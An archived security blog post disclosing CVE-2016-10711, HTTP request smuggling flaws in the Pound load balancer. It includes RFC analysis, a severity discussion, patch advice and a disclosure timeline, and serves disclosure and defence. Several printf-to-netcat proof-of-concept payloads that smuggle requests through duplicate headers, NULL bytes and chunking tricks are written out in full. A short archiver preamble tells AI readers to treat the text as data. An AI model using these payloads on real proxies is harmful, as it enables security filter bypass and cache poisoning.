Security: HTTP Smuggling, Apsis Pound load balancer

Security: HTTP Smuggling, Apsis Pound load balancer - regilero, regilero.github.io.

- Published: date not stated
- Original: <https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling/>
- Preserved from: https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling/ (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

RBleug

Regilero's blog; Mostly tech things about web stuff.

details of CVE-2016-10711 (published feb 2018).

English version (**Version Française** disponible sur makina corpus). estimated read time: 15min

Pound?

Pound is an Open Source HTTP load balancer, usually used as an SSL/TLS terminator (handling https and certificate in front of a more classical http backend). Back in time it was a simple and efficient way of adding SSL for a website.

If you check the official website you'll see pound decribed as a load balancer, a reverse proxy, an SSL wrapper but also a **sanitizer**:

>

an HTTP/HTTPS sanitizer: Pound will verify requests for correctness and accept only well-formed ones.

The project activity has been slowing down and this last CVE published in early 2018 may have triggered some warnings about the project activity. The Debian project removed the package, not only because of that CVE, where a patch was available, from this discussion it appears that compatibility with new versions of openSSL and the lack of activity on the project contributed greatly to the decision.

Fixed versions of Pound

If we check the Debian status page for this package today (2018-07-03) we have a warning that the package has been removed because it cannot be find in any development repository, and 3 actions : outdated version, 1 ignored security issue in stretch (stable) and one in jessie (oldstable). From my own test I cannot install it on jessie, but on stretch I'm still able to install it, with the security issues inside.

If you use a Suse package you have the security updates available.

On the official project page the officiel stable version is now Pound-2.8 and contains the fix. The first fixed version was 2.8a (experimental), and there was a very long time for which only this experimental version was available.

The source code diff for version 2.8 is not very big: (fossies1 | fossies2 | fossies3). It contains some feature removal (dynamic scaling) and security syntax filters on HTTP Smuggling issues. That's the interesting part.

CVE-2016-10711

The official CVE description is:

>

Apsis Pound before 2.8a allows request smuggling via crafted headers

Most of the issues are in fact **very common mistakes** with HTTP parsers (with some specific rare issues also, like NULL character handling). Or I should say it **was common** before 2005 and before RFC 7230. In the past years I have reported similar issues in a lot of projects, small ones, and sometimes bigger ones, so it could be interesting to study some of these *'crafted headers'*.

Note that, as explained later, Pound, being an SSl terminator, is not the most critical piece in a smuggling attack. Performing such attacks on a reverse proxy cache, or a common HTTP server, is more valuable for an attacker. But the whole 'HTTP Smuggling attacks' paradigm is based on chaining syntax errors on multiple actors, so everyone should detect the strange *crafted headers* and behave properly.

1- Double content-length support:

Any request with 2 `Content-Length` headers **MUST** be rejected.

RFC7230 section 3.3.2

>

If a message is received that has multiple Content-Length header fields with field-values consisting of the same decimal value, or a single Content-Length header field with a field value containing a list of identical decimal values (e.g., "Content-Length: 42, 42"), indicating that duplicate Content-Length header fields have been generated or combined by an upstream message processor, then the recipient MUST either reject the message as invalid or replace the duplicated field-values with a single valid Content-Length field containing that decimal value prior to determining the message body length or forwarding the message.

RFC7230 section 3.3.3

>

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid

value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.

For Pound, If you send a request with:

```
Content-Length: 0
Content-Length: 147
```

Result is `Size of Body = 0`

If you send one with:

```
Content-Length: 147
Content-Length: 0
```

Result is `Size of Body = 147`

The only official result should be **an error**. If a previous actor in the HTTP communication contains the same flaw, but inverted, You have an easy smuggling factor. We will see below some example of HTTP pipelines exploits, the goal is usually to have a size which differs, one actor is seing 3 requests, another actor thinks there's only 2.

2) Chunks priority on Content-Length

Here we have again the RFC7230 section 3.3.3, but another point:

>

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error.

So the rule is that you can reject the message (this is now the case in most servers), but at least, if you do not reject the message the chunked transmission has the priority on any Content-Length headers.

With Pound the rule was the first header read has the priority. Bad.

Let's see an example. Here I have Pound Server listening on HTTP port 8080 on 127.0.0.1. (So without HTTPS support, but believe me in HTTPS mode all the attacks works the same, you can even use openssl_client instead of netcat to push some printf output on it). Behind that Pound talks to an HTTP server (the backend), on any other port.

- I use `printf` to render my HTTP queries, I do not use curl or wget, because I want full control on all characters.
- I **chain all the queries** in one single string, I do not wait for responses between each queries, that's called an **HTTP pipeline**, without pipelining support on the server (here Pound) I cannot do anything

- I send this string (of HTTP queries) to netcat (command `nc`) which is a very low level command which simply controls the tcp/ip connection to the targeted IP and port.
- this is the same as sending an HTTP query with a browser or with curl, but I have full control on nasty crafted headers
- the attacker goal is to send messages that could contain a different number of queries if it is read by a valid parser or an invalid one, that's the **technical goal**. The functionnal goal of this is security filter bypass or cache poisoning, or some more complex stuff, but like an `alert()` for XSS, which is just a technical proff and not a functionnal attack, if you have the wrong number of valid responses, there's a security issue.
- If you try it on a test environment you should track the requests sent by Pound on your backend, use Wireshark for example. Each request of the pipeline will be send individually to the backend, not in a pipeline.

```
# 2 responses instead of 3
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

For a **valid parser** there are 3 queries:

First one:

```
GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
**Content-length:56[CRLF]** (ignored and usually not send back to the backend)
Transfer-Encoding: chunked[CRLF]
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (end of chunks -> end of message)
[CRLF]
```

Second one:

```
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]
```

And third one:

```
GET /tests HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]
```

For an **invalid parser** (here Pound) there's only 2 queries and the first one is:

```
GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
**Transfer-Encoding: chunked[CRLF]** (ignored and removed, hopefully)
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (start of 56 bytes of body)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)
```

3) Bad chunked transmission

RFC7230 section 3.3.3

>

If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.

Using `Transfer-Encoding: chunked, zorg` we did not have the error 400.

4) NULL in headers -> concatenation

That's an original issue, a rare one (but the NULL character is always fun to test).

Like most HTTP servers Pound is written in C, and C string ends with the NULL character (`\0`). Finding a NULL character in an HTTP request (not the body part) should render an error, but sometimes the parser does not detect the NULL character because the parsed line was wrongly interpreted as a C string.

With Pound as soon as a NULL character was encountered in an header line the parser would continue the header with the next line.

```
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

Here is another variation using the Double Content-length Support. This could be used if the previous actor in the chain of proxies had no support for double Content-Length (very likely).. but had support for NULL characters (less likely).

```
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 51\r\n'\
'Content-length: 0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

On each attack we 2 responses instead of 3, you can also make 3 responses instead of 2.

```
# 3 responses instead of 2 (2nd query is unmasked by pound)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

And if you are still here you can compare the last two examples. On the first one we try a bad chunked transmission, and on the last one we use the `ops-fold` syntax. Use wireshark to compare the behaviors and some potential *crafted headers* syntax transmitted to backends.

```
# chunk mode not applied
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked,zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

```
# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
' zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

5) Transmission issues

This strange ops-fold syntax transmitted could be a problem. This was removed in version 2.8. Usually the Reverse proxy which support ops-fold are not transmitting the syntax (everything back on one line).

They were other transmission issues like this one (sadly not fixed):

```
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'00000000000000000000000000000042\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
```

This is not an invalid query. The first chunk size is `42` in hexa, so 66 bytes. The second chunk is the end-of-chunks marker, the last 2 lines `0\r\n\r\n`. The `GET /tmp/` query does not exists, it's just some uninterpreted bytes in the first chunk body of 66 bytes.

But if you use wireshark you will detect that this message is transfered as-is, the `00000000000000000000000000000042` is not rewitten as `42` or `042`. That's still officially not an issue. The problem is that this syntax is sometimes an issue for some backends (chunk size attribute truncation issues) where you may read this `00000000000000000000000000000042` as `0000000000000000` and wrongly detect it as an end-of-chunks marker. And then discover the (false) `GET /tmp/` query.

Of course the security issue here is on the backend, not Pound. But shithings happens.

Some other transmissions issues were fixed, like these strange syntax:

```
GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n
or
GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n
```

with [SOMETHING] = BACKSPACE or CR or BEL or FORMFEED or HTAB or VTAB.

Severity

Bad HTTP syntax parsing is a security issue, the main problem is that any bad HTTP actor in a network of HTTP actors becomes the hammer and previous actors becomes nails.

The actor which suffers from Request splitting is the one which wrongly read a garbage body and extract a query from it. No other preceding actor could filter this query before because it was just a body (security filter bypass). And No one is expecting this query response (cache poisoning, etc.).

That's why the RFC has some minimal requirements on syntax parsing around message size.

On most installations Pound will be the SSL terminator, usually the **first server side actor** in the chain.

In this position the request splitting attacks are hard to exploit, maybe it could be used to poison a Forward proxy on client side, maybe. But it cannot be used to attack the backends.

```
_____________________          _____________________________
|    Client Side     |         |    Server Side            |
Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx
                NAIL? <================== HAMMER?
                                  NAIL? <==== HAMMER?
```

Maybe some other HTTPS load balancers are present in front of Pound, on some big installations, that would be more dangerous as Pound could be used to send some extra responses to these proxys (WAFs?).

But on this position the most effective issues, on an attacker point of view, are transmission issues, where bad crafted headers are transmitted to backends by Pound. Because on the backends you could have some issues and it's always a bad idea to send bad queries to backends.

If you look at the two main errors, Double Content Length and no respect of chunked priority, it is more dangerous on a backend than on a front. This, in my mind, reduces the impact of exploitations of these issues. I may be wrong. But transmissions issues, which are more dangerous for the ecosystem, are usually not even considered as security issues, because the Proxy is not doing any splitting, just forwarding some dangerous syntax.

I use Pound, what can I do?

First of all you can use Pound 2.8. Or a 2.7.x with the patchs.

If the fixed package is not available on your distribution you can **easily** compile Pound 2.8. I made several compilations of Pound on jessie and stretch docker environements without any complexity (configure/make/make install).

Then you can also follow the Debian team and check for more active alternatives. Haproxy for example.

Timeline

- 2016-09-05: reports to project maintainers
- 2016-09-08: some more reports

- 2016-10-23: version 2.8a (experimental) published, with all the fixs, *request smuggling* is used in the announce, not the word *security*
- 2018-01-15: asking project maintainer for CVE. Yes, quite late, I'm not always working on this subject :-)
- 2018-01-29: CVE Id reserved by me and transfered to the vendor
- 2018-02-13: pound fixed On debian7 Wheezy (old), patch proposed for jessie and stretch.
- 2018-02-24: pound removed from Debian unstable
- 2018-05-11: Pound 2.8 released
- 2018-07-03: this page

See also

- Video Defcon HTTP Smuggling
- Defcon support
- Video Defcon demos